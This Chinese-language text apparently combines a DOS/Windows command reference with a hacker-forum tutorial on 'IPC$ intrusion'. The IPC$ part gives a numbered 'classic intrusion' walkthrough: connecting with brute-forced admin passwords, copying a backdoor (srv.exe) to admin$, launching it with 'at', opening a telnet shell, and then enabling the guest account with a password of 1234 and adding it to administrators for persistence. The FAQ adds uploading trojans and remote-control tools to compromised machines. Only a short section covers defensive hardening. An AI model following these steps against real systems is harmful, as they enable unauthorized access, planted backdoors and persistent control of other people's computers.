DOS 常用命令：
dir 列文件名 deltree 刪除目錄樹 cls 清屏 cd 改變當前目錄
copy 拷貝文件 diskcopy 復制磁盤 del 刪除文件 format 格式化磁盤
edit 文本編輯 mem 查看內存狀況 md 建立子目錄 move 移動文件、改目錄名
more 分屏顯示 type 顯示文件內容 rd 刪除目錄 sys 制作DOS系統盤
ren 改變文件名 xcopy 拷貝目錄與文件 chkdsk 檢查磁盤 attrib 設置文件屬性
fdisk 硬盤分區 date 顯示及修改號期 label 設置卷標號 defrag 磁盤碎片整理
msd 系統檢測 path 設置搜尋目錄 share 文件***享 memmaker內存優化管理
help 幫助 restore 恢復備份文件 set 設置環境變量 time 顯示及修改時間
tree 列目錄樹 debug 隨機調試程序 doskey 重新調用DOS命令 prempt 設置提示符 undelete恢復被刪的文件 scandisk檢測、修理磁盤
常用命令具體介紹:
壹、Dir
顯示目錄文件和子目錄列表，呵呵，這個當然是人人要知道的。
可以使用通配符（? 和 *），？表通配壹個字符，*表通配任意字符
*.後綴
指定要查看後綴的文件。 上面其實也可以為“ . 後綴”,例如dir *.exe 等於dir .exe
/p
每次顯示壹個列表屏幕。要查看下壹屏，請按鍵盤上的任意鍵。
/w
以寬格式顯示列表，在每壹行上最多顯示 5 個文件名或目錄名。
/s
列出指定目錄及所有子目錄中出現的每個指定的文件名。比win環境下的查找快多了
dir *.* -> a.txt 把當前目錄文件列表寫入a.txt
dir *.* /s -> a.txt 把當前目錄文件列表寫入a.txt，包括子目錄下文件。
二、Attrib
顯示、設置或刪除指派給文件或目錄的只讀、存檔、系統以及隱藏屬性。如果在不含參數的情況下使用，則 attrib 會顯示當前目錄中所有文件的屬性。
+r
設置只讀屬性。
-r
清除只讀屬性。
+a
設置存檔文件屬性。
-a
清除存檔文件屬性。
+s
設置系統屬性。
-s
清除系統屬性。
+h
設置隱藏屬性。
-h
清除隱藏屬性。
三、Cls
清除顯示在命令提示符窗口中的所有信息，並返回空窗口，即“清屏”
四、Exit
退出當前命令解釋程序並返回到系統。
五、format
格式化
/q
執行快速格式化。刪除以前已格式化卷的文件表和根目錄，但不在扇區之間掃描損壞區域。使用 /q 命令行選項應該僅格式化以前已格式化的完好的卷。
六、Ipconfig
顯示所有當前的 TCP/IP 網絡配置值、刷新動態主機配置協議 (DHCP) 和域名系統 (DNS) 設置。使用不帶參數的 ipconfig 可以顯示所有適配器的 IP 地址、子網掩碼、默認網關。
/all
顯示所有適配器的完整 TCP/IP 配置信息。
ipconfig 等價於 winipcfg，後者在ME、98 和 95 上可用。盡管 Windows XP 沒有提供象 winipcfg 命令壹樣的圖形化界面，但可以使用“網絡連接”查看和更新 IP 地址。要做到這壹點，請打開 網絡連接，右鍵單擊某壹網絡連接，單擊“狀態”，然後單擊“支持”選項卡。
該命令最適用於配置為自動獲取 IP 地址的計算機。它使用戶可以確定哪些 TCP/IP 配置值是由 DHCP、自動專用 IP 地址 (APIPA) 和其他配置配置的。
七、md
創建目錄或子目錄
八、Move
將壹個或多個文件從壹個目錄移動到指定的目錄。
九、Nbtstat
顯示本地計算機和遠程計算機的基於 TCP/IP (NetBT) 協議的 NetBIOS 統計資料、NetBIOS 名稱表和 N
etBIOS 名稱緩存。Nbtstat 可以刷新 NetBIOS 名稱緩存和註冊的 Windows Internet 名稱服務 (WINS) 名稱。使用不帶參數的 nbtstat 顯示幫助。Nbtstat 命令行參數區分大小寫。
-a remotename
顯示遠程計算機的 NetBIOS 名稱表，其中，RemoteName 是遠程計算機的 NetBIOS 計算機名稱。
-A IPAddress
顯示遠程計算機的 NetBIOS 名稱表，其名稱由遠程計算機的 IP 地址指定（以小數點分隔）。
十、Netstat
顯示活動的 TCP 連接、計算機偵聽的端口、以太網統計信息、IP 路由表、IPv4 統計信息（對於 IP、ICMP、TCP 和 UDP 協議）以及 IPv6 統計信息（對於 IPv6、ICMPv6、通過 IPv6 的 TCP 以及通過 IPv6 的 UDP 協議）。使用時如果不帶參數，netstat 顯示活動的 TCP 連接。
-a
顯示所有活動的 TCP 連接以及計算機偵聽的 TCP 和 UDP 端口。
十壹、Ping
通過發送“網際消息控制協議 (ICMP)”回響請求消息來驗證與另壹臺 TCP/IP 計算機的 IP 級連接。回響應答消息的接收情況將和往返過程的次數壹起顯示出來。Ping 是用於檢測網絡連接性、可到達性和名稱解析的疑難問題的主要 TCP/IP 命令。如果不帶參數，ping 將顯示幫助。名稱和Ip地址解析是它的最簡單應用也是用的最多的。
-t
指定在中斷前 ping 可以持續發送回響請求信息到目的地。要中斷並顯示統計信息，請按 CTRL-BREAK。要中斷並退出 ping，請按 CTRL-C。
-lSize
指定發送的回響請求消息中“數據”字段的長度（以字節表示）。默認值為 32。size 的最大值是 65,527。
十二、Rename (Ren)
更改文件的名稱。
例如 ren *.abc *.cba
十三、Set
顯示、設置或刪除環境變量。如果沒有任何參數，set 命令將顯示當前環境設置。
十四、Shutdown
允許您關閉或重新啟動本地或遠程計算機。如果沒有使用參數，shutdown 將註銷當前用戶。
-m ComputerName
指定要關閉的計算機。
-t xx
將用於系統關閉的定時器設置為 xx 秒。默認值是 20 秒。
-l
註銷當前用戶，這是默認設置。-m ComputerName 優先。
-s
關閉本地計算機。
-r
關閉之後重新啟動。
-a
中止關閉。除了 -l 和 ComputerName 外，系統將忽略其它參數。在超時期間，您只可以使用 -a。
十五、System File Checker (sfc)
win下才有，在重新啟動計算機後掃描和驗
證所有受保護的系統文件。
/scannow
立即掃描所有受保護的系統文件。
/scanonce
壹次掃描所有受保護的系統文件。
/purgecache
立即清除“Windows 文件保護”文件高速緩存，並掃描所有受保護的系統文件。
/cachesize=x
設置“Windows 文件保護”文件高速緩存的大小，以 MB 為單位。
十六、type
顯示文本文件的內容。使用 type 命令查看文本文件或者是bat文件而不修改文件
十七、Tree
圖像化顯示路徑或驅動器中磁盤的目錄結構。
十八、Xcopy
復制文件和目錄，包括子目錄。
/s
復制非空的目錄和子目錄。如果省略 /s，xcopy 將在壹個目錄中工作。
/e
復制所有子目錄，包括空目錄。
十九、copy
將壹個或多個文件從壹個位置復制到其他位置
二十、del
刪除指定文件。
ftp和bat批命令和net和telnet由於子命令太多，這裏不說了，不過這幾個都是常用到的。
IPC$命令詳解:
網上關於ipc$入侵的文章可謂多如牛毛,而且也不乏優秀之作,攻擊步驟甚至可以說已經成為經典的模式,因此也沒人願意再把這已經成為定式的東西拿出來擺弄.
不過話雖這樣說,但我個人認為這些文章講解的並不詳細,對於第壹次接觸ipc$的菜鳥來說,簡單的羅列步驟並不能解答他們的許多迷惑(妳隨便找壹個hack論壇搜壹下ipc,看存在的疑惑有多少).
因此我寫了這篇相當於解惑的教程.想把壹些容易混淆,容易迷惑人的問題說清楚,讓大家不要總徘徊在原地!如果妳看完這篇帖子仍有疑問,請馬上回復!
二 什麽是ipc$
IPC$(Internet Process Connection)是***享"命名管道"的資源(大家都是這麽說的)，它是為了讓進程間通信而開放的命名管道，可以通過驗證用戶名和密碼獲得相應的權限,在遠程管理計算機和查看計算機的***享資源時使用。
利用IPC$,連接者甚至可以與目標主機建立壹個空的連接而無需用戶名與密碼(當然,對方機器必須開了ipc$***享,否則妳是連接不上的)，而利用這個空的連接，連接者還可以得到目標主機上的用戶列表(不過負責的管理員會禁止導出用戶列表的)。
我們總在說ipc$漏洞ipc$漏洞,其實,ipc$並不是真正意義上的漏洞,它是為了方便管理員的遠程管理而開放的遠程網絡登陸功能,而且還打開了默認***享,即所有的邏輯盤(c$,d$,e$……)和系統目錄winnt或windows(admin$)。
所有的這些,初衷都是為了方便管理員的管理,但好的初衷並不壹定有好的收效,壹些別有用心者(到底是什麽用心?我也不知道,代詞壹個)會利用IPC$，訪問***享資源,導出用戶列表,並使用壹些字典工具，進行密碼探測,寄希望於獲得更高的權限,從而達到不可告人的目的.
解惑:
1)IPC連接是Windows NT及以上系統中特有的遠程網絡登陸功能，其功能相當於Unix中的Telnet,由於IPC$功能需要用到Windows NT中的很多DLL函數，所以不能在Windows 9.x中運行。
也就是說只有nt/2000/xp才可以建立ipc$連接,98/me是不能建立ipc$連接的(但有些朋友說在98下能建立空的連接,不知道是真是假,不過現在都2003年了,建議98的同誌換壹下系統吧,98不爽的)
2)即使是空連接也不是100%都能建立成功,如果對方關閉了ipc$***享,妳仍然無法建立連接
3)並不是說建立了ipc$連接就可以查看對方的用戶列表,因為管理員可以禁止導出用戶列表
三 建立ipc$連接在hack攻擊中的作用
就像上面所說的,即使妳建立了壹個空的連接,妳也可以獲得不少的信息(而這些信息往往是入侵中必不可少的),訪問部分***享,如果妳能夠以某壹個具有
壹定權限的用戶身份登陸的話,那麽妳就會得到相應的權限,顯然,如果妳以管理員身份登陸,嘿嘿,就不用我在多說了吧,what u want,u can do!!
(基本上可以總結為獲取目標信息、管理目標進程和服務,上傳木馬並運行,如果是2000server，還可以考慮開啟終端服務方便控制.怎麽樣?夠厲害吧!)
不過妳也不要高興的太早,因為管理員的密碼不是那麽好搞到的,雖然會有壹些傻傻的管理員用空口令或者弱智密碼,但這畢竟是少數,而且現在不比從前了,隨著人們安全意識的提高,管理員們也愈加小心了,得到管理員密碼會越來越難的:(
因此今後妳最大的可能就是以極小的權限甚至是沒有權限進行連接,妳會慢慢的發現ipc$連接並不是萬能的,甚至在主機不開啟ipc$***享時,妳根本就無法連接.
所以我認為,妳不要把ipc$入侵當作終極武器,不要認為它戰無不勝,它就像是足球場上射門前的傳球,很少會有致命壹擊的效果,但卻是不可缺少的,我覺得這才是ipc$連接在hack入侵中的意義所在.
四 ipc$與空連接,139,445端口,默認***享的關系
以上四者的關系可能是菜鳥很困惑的壹個問題,不過大部分文章都沒有進行特別的說明,其實我理解的也不是很透徹,都是在與大家交流中總結出來的.(壹個有良好討論氛圍的BBS可以說是菜鳥的天堂)
1)ipc$與空連接:
不需要用戶名與密碼的ipc$連接即為空連接,壹旦妳以某個用戶或管理員的身份登陸(即以特定的用戶名和密碼進行ipc$連接),自然就不能叫做空連接了.
許多人可能要問了,既然可以空連接,那我以後就空連接好了,為什麽還要費九牛二虎之力去掃描弱口令,呵呵,原因前面提到過,當妳以空連接登陸時,妳沒有任何權限(很郁悶吧),而妳以用戶或管理員的身份登陸時,妳就會有相應的權限(有權限誰不想呀,所以還是老老實實掃吧,不要偷懶喲).
2)ipc$與139,445端口:
ipc$連接可以實現遠程登陸及對默認***享的訪問;而139端口的開啟表示netbios協議的應用,我們可以通過139,445(win2000)端口實現對***享文件/打印機的訪問,因此壹般來講,ipc$連接是需要139或445端口來支持的.
3)ipc$與默認***享
默認***享是為了方便管理員遠程管理而默認開啟的***享(妳當然可以關閉它),即所有的邏輯盤(c$,d$,e$……)和系統目錄winnt或windows(admin$),我們通過ipc$連接可以實現對這些默認***享的訪問(前提是對方沒有關閉這些默認***享)
五 ipc$連接失敗的原因
以下5個原因是比較常見的:
1)妳的系統不是NT或以上****作系統;
2)對方沒有打開ipc$默認***享
3)對方未開啟139或445端口(惑被防火墻屏蔽)
4)妳的命令輸入有誤(比如缺少了空格等)
5)用戶名或密碼錯誤(空連接當然無所謂了)
另外,妳也可以根據返回的錯誤號分析原因：
錯誤號5，拒絕訪問 ： 很可能妳使用的用戶不是管理員權限的，先提升權限；
錯誤號51，Windows 無法找到網絡路徑 : 網絡有問題；
錯誤號53，找不到網絡路徑 ： ip地址錯誤；目標未開機；目標lanmanserver服務未啟動；目標有防火墻（端口過濾）；
錯誤號67，找不到網絡名 ： 妳的lanmanworkstation服務未啟動；目標刪除了ipc$；
錯誤號1219，提供的憑據與已存在的憑據集沖突 ： 妳已經和對方建立了壹個ipc$，請刪除再連。
錯誤號1326，未知的用戶名或錯誤密碼 ： 原因很明顯了；
錯誤號1792，試圖登錄，但是網絡登錄服務沒有啟動 ： 目標NetLogon服務未啟動。（連接域控會出現此情況）
錯誤號2242，此用戶的密碼已經過期 ： 目標有帳號策略，強制定期要求更改密碼。
關於ipc$連不上的問題比較復雜，除了以上的原因,還會有其他壹些不確定因素,在此本人無法詳細而確定的說明,就*大家自己體會和試驗了.
<br>六 如何打開目標的IPC$(此段引自相關文章)
首先妳需要獲得壹個不依賴於ipc$的shell，比如sql的cmd擴展、telnet、木馬,當然，這shell必須是admin權限的,然後妳可以使用shell執行命令 net share ipc$ 來開放目標的ipc$。從上面可以知道，ipc$能否使用還有很多條件。請確認相關服務都已運行，沒有就啟動它（不知道怎麽做的請看net命令的用法）,還是不行的話（比如有防火墻，殺不了）建議放棄。
七 如何防範ipc$入侵
1禁止空連接進行枚舉(此****作並不能阻止空連接的建立,引自《解剖win2000下的空會話》)
首先運行regedit，找到如下組建[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\LSA]把RestrictAnonymous = DWORD的鍵值改為：00000001(如果設置為2的話,有壹些問題會發生,比如壹些WIN的服務出現問題等等)
2禁止默認***享
1）察看本地***享資源
運行-cmd-輸入net share
2）刪除***享(每次輸入壹個）
net share ipc$ /delete
net share admin$ /delete
net share c$ /delete
net share d$ /delete（如果有e,f,……可以繼續刪除）
3）停止server服務
net stop server /y （重新啟動後server服務會重新開啟）
4）修改註冊表
運行-regedit
server版:找到如下主鍵[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters]把AutoShareServer（DWORD）的鍵值改為:00000000。
pro版:找到如下主鍵[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters]把AutoShareWks（DWORD）的鍵值改為:00000000。
如果上面所說的主鍵不存在，就新建(右擊-新建-雙字節值）壹個主健再改鍵值。
3永久關閉ipc$和默認***享依賴的服務:lanmanserver即server服務
控制面板-管理工具-服務-找到server服務（右擊）-屬性-常規-啟動類型-已禁用
4安裝防火墻(選中相關設置)，或者端口過濾(濾掉139,445等),或者用新版本的優化大師
5設置復雜密碼，防止通過ipc$窮舉密碼
八 相關命令
1)建立空連接:
net use $">\\IP\ipc$ "" /user:"" (壹定要註意:這壹行命令中包含了3個空格)
2)建立非空連接:
net use $">\\IP\ipc$ "用戶名" /user:"密碼" (同樣有3個空格)
3)映射默認***享:
net use z: $">\\IP\c$ "密碼" /user:"用戶名" (即可將對方的c盤映射為自己的z盤，其他盤類推)
如果已經和目標建立了ipc$，則可以直接用IP+盤符+$訪問,具體命令 net use z: $">\\IP\c$
4)刪除壹個ipc$連接
net&nbs
p;use $">\\IP\ipc$ /del
5)刪除***享映射
net use c: /del 刪除映射的c盤，其他盤類推
net use * /del 刪除全部,會有提示要求按y確認
九 經典入侵模式
這個入侵模式太經典了,大部分ipc教程都有介紹,我也就拿過來引用了,在此感謝原創作者!(不知道是哪位前輩)
11. C:\>net use $">\\127.0.0.1\IPC$ "密碼" /user:"用戶名"
壹般用流光，通過掃描弱口令來得到，管理員帳號和密碼.
2. C:\>copy srv.exe $">\\127.0.0.1\admin$
先復制srv.exe上去，在流光的Tools目錄下就有（這裏的$是指admin用戶的c:\winnt\system32\，大家還可以使用c$、d$，意思是C盤與D盤，這看妳要復制到什麽地方去了）。
3. C:\>net time \\127.0.0.1
查查時間，發現127.0.0.1 的當前時間是 2004/6/15 上午 11:00，命令成功完成。
4. C:\>at \\127.0.0.1 11:05 srv.exe
用at命令啟動srv.exe吧
5. C:\>net time \\127.0.0.1
再查查到時間沒有？如果127.0.0.1 的當前時間是 2004/6/15 上午 11:05，那就準備開始下面的命令。
6. C:\>telnet 127.0.0.1 99
這裏會用到Telnet命令吧，註意端口是99。Telnet默認的是23端口，但是我們使用的是SRV在對方計算機中為我們建立壹個99端口的Shell。
雖然我們可以Telnet上去了，但是SRV是壹次性的，下次登錄還要再激活！所以我們打算建立壹個Telnet服務！這就要用到ntlm了
7.C:\>copy ntlm.exe $">\\127.0.0.1\admin$
用Copy命令把ntlm.exe上傳到主機上（ntlm.exe也是在《流光》的Tools目錄中）。
8. C:\WINNT\system32>ntlm
輸入ntlm啟動（這裏的C:\WINNT\system32>指的是對方計算機，運行ntlm其實是讓這個程序在對方計算機上運行）。當出現"DONE"的時候，就說明已經啟動正常。然後使用"net start telnet"來開啟Telnet服務！
9. Telnet 127.0.0.1，接著輸入用戶名與密碼就進入對方了，****作就像在DOS上****作壹樣簡單！(然後妳想做什麽?想做什麽就做什麽吧,哈哈)
為了以防萬壹,我們再把guest激活加到管理組
10. C:\>net user guest /active:yes
將對方的Guest用戶激活
11. C:\>net user guest 1234
將Guest的密碼改為1234,或者妳要設定的密碼
12. C:\>net localgroup administrators guest /add
將Guest變為Administrator(如果管理員密碼更改，guest帳號沒改變的話，下次我們可以用guest再次訪問這臺計算機)
ipc$常見問題:
1，怎樣建立空連接，它有什麽用？
答：使用命令 net use \IPipc$ "" /user:"" 就可以簡單地和目標建立壹個空連接（需要目標開放ipc$）。
對於NT，在默認安全設置下，借助空連接可以列舉目標用戶、***享，訪問everyone權限的***享，訪問小部分註冊表等，沒有什麽利用價值。對2000作用就更小了。而且實現也不方便，需借助工具。
2.為什麽我連不上IPC$？
答：1.只有nt/2000/xp及以上系統才可以建立ipc$。如果妳用的是98/me是沒有該功能的。
2.確認妳的命令沒有打錯。正確的命令是： net use \目標IPipc$ "密碼" /user:"用戶名"
註意別多了或少了空格。當用戶名和密碼中不包含空格時兩邊的雙引號可以省略。空密碼用""表示。
3，根據返回的錯誤號分析原因：
錯誤號5，拒絕訪問 ： 很可能妳使用的用戶不是管理員權限的，先提升權限；
錯誤號51，Windows 無法找到網絡路徑 : 網絡有問題；
錯誤號53，找不到網絡路徑 ： ip地址錯誤；目標未開機；目標lanmanserver服務未啟動；目標有防火墻（端口過濾）；
錯誤號67，找不到網絡名 ： 妳的lanmanworkstation服務未啟動；目標刪除了ipc$；
錯誤號1219，提供的憑據與已存在的憑據集沖突 ： 妳已經和對方建立了壹個ipc$，請刪除再連。
錯誤號1326，未知的用戶名或錯誤密碼 ： 原因很明顯了；
錯誤號1792，試圖登錄，但是網絡登錄服務沒有啟動 ： 目標NetLogon服務未啟動。（連接域控會出現此情況）
錯誤號2242，此用戶的密碼已經過期 ： 目標有帳號策略，強制定期要求更改密碼。
4，關於ipc$連不上的問題比較復雜，沒有總結出壹個統壹的認識，在肉雞上實驗有時會得出矛盾的結論，十分棘手。 而且知道了問題所在，如果沒有用其他辦法獲得shell，很多問題依然不能解決。
5，怎樣打開目標的IPC$？
答：首先妳需要獲得壹個不依賴於ipc$的shell，比如sql的cmd擴展、telnet、木馬。當然，這shell必須是admin權限的。然後妳可以使用shell執行命令 net share ipc$ 來開放目標的ipc$。從上壹問題可以知道，ipc$能否使用還有很多條件。請確認相關服務都已運行，沒有就啟動它（不知道怎麽做的請看net命令的用法）。還是不行的話（比如有防火墻，殺不了）建議放棄。
6，怎樣映射和訪問默認***享？
答：使用命令 net use z: \目標IPc$ "密碼" /user:"用戶名" 將對方的c盤映射為自己的z盤，其他盤類推。
如果已經和目標建立了ipc$，則可以直接用IP加盤符加$訪問。比如 copy muma.exe \IPd$pathmuma.exe 。或者再映射也可以，只是不用用戶名和密碼了：net use y: \IPd$ 。然後 copy muma.exe y:pathmuma.exe 。當路徑中包含空格時，須用""將路徑全引住。
7，如何刪除映射和ipc$連接？
答：用命令 net use \IPipc$ /del 刪除和壹個目標的ipc$連接。
用命令 net use z: /
del 刪除映射的z盤，其他盤類推。
用命令 net use * /del 刪除全部。會有提示要求按y確認。
8，連上ipc$然後我能做什麽？
答：能使用管理員權限的帳號成功和目標連接ipc$，表示妳可以和對方系統做深入“交流”了。妳可以使用各種命令行方式的工具（比如pstools系列、Win2000SrvReskit、telnethack等）獲得目標信息、管理目標的進程和服務等。如果目標開放了默認***享（沒開妳就幫他開），妳就可以上傳木馬並運行。也可以用tftp、ftp的辦法上傳。像dwrcc、VNC、RemoteAdmin等工具（木馬）還具有直接控屏的功能。如果是2000server，還可以考慮開啟終端服務方便控制。這裏提到的工具的使用，請看自帶的說明或相關教程。
9，怎樣防止別人用ips$和默認***享入侵我？
答：A、壹種辦法是把ipc$和默認***享都刪除了。但重起後還會有。這就需要改註冊表。
1，先把已有的刪除
net share ipc$ /del
net share admin$ /del
net share c$ /del
…………（有幾個刪幾個）
2，禁止別人空連接
首先運行regedit，找到如下主鍵[HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlLSA]把RestrictAnonymous（DWORD）的鍵值改為：00000002。
3，禁止自動打開默認***享
對於server版，找到如下主鍵[HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesLanmanServerParameters]把AutoShareServer（DWORD）的鍵值改為:00000000。
對於pro版，則是[HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesLanmanServerParameters]把AutoShareWks（DWORD）的鍵值改為:00000000。
如果上面所說的主鍵不存在，就新建壹個再改鍵值。
B、另壹種是關閉ipc$和默認***享依賴的服務（不推薦）
net stop lanmanserver
可能會有提示說，XXX服務也會關閉是否繼續。因為還有些次要的服務依賴於lanmanserver。壹般情況按y繼續就可以了。
C、最簡單的辦法是設置復雜密碼，防止通過ipc$窮舉密碼。但如果妳有其他漏洞，ipc$將為進壹步入侵提供方便。
D、還有壹個辦法就是裝防火墻，或者端口過濾
不常用DOS命令
diskcomp磁盤比較 append 設置非執行文件路徑
expand 還原DOS文件 fasthelp快速顯示幫助信息
fc 文件比較 interink啟動服務器
setver 設置版本 intersvr啟動客戶機
subst 路徑替換 qbasic Basic集成環境
vsafe 防病毒 unformat恢復已格式化的磁盤
ver 顯示DOS版本號 smartdrv設置磁盤加速器
vol 顯示磁盤卷標號 lh 將程序裝入高端內存
ctty 改變控制設備 emm386 擴展內存管理